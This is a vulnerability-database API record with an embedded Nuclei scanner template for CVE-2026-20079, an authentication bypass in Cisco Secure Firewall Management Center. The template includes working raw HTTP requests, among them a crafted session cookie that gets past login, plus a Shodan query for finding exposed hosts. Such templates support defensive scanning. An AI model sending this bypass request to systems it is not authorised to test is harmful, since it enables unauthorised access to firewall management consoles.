{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-20079/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-20079/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-20079/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-20079/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-20079/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-20079"},"sightings":{"href":"/api/v1/sightings/cve-2026-20079"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-20079.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-20079\n\ninfo:\n  name: Cisco Secure Firewall Management Center - Authentication Bypass\n  author: theamanrawat\n  severity: critical\n  description: |\n    Cisco Secure Firewall Management Center Software contains an authentication bypass caused by improper system process creation at boot, letting unauthenticated remote attackers execute scripts and gain root access, exploit requires crafted HTTP requests.\n  impact: |\n    Unauthenticated remote attackers can gain root access by executing scripts, leading to full system compromise.\n  remediation: |\n    Update to the latest available version.\n  reference:\n    - https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-20079\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2026-20079\n    epss-score: 0.75752\n    epss-percentile: 0.99499\n    cwe-id: CWE-288\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"BackdraftSyncIntegration\"\n  tags: cve,cve2026,cisco,fmc,auth-bypass,rce,unauth,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /help/about.cgi HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(body, \"Invalid session ID\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /help/about.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: CGISESSID=csm_processes\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"Cisco Secure Firewall Management Center\", \"Model\", \"OS\", \"Hostname\")'\n        condition: and\n# digest: 4a0a0047304502200b2ff2857317a3e46229700b840bd44052618a7e745b107fb4ba008cfba925a7022100904412dff07d19b1474eb4fcd83762758b85df4da5fc523e4c97e5278840cafc:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-20079"}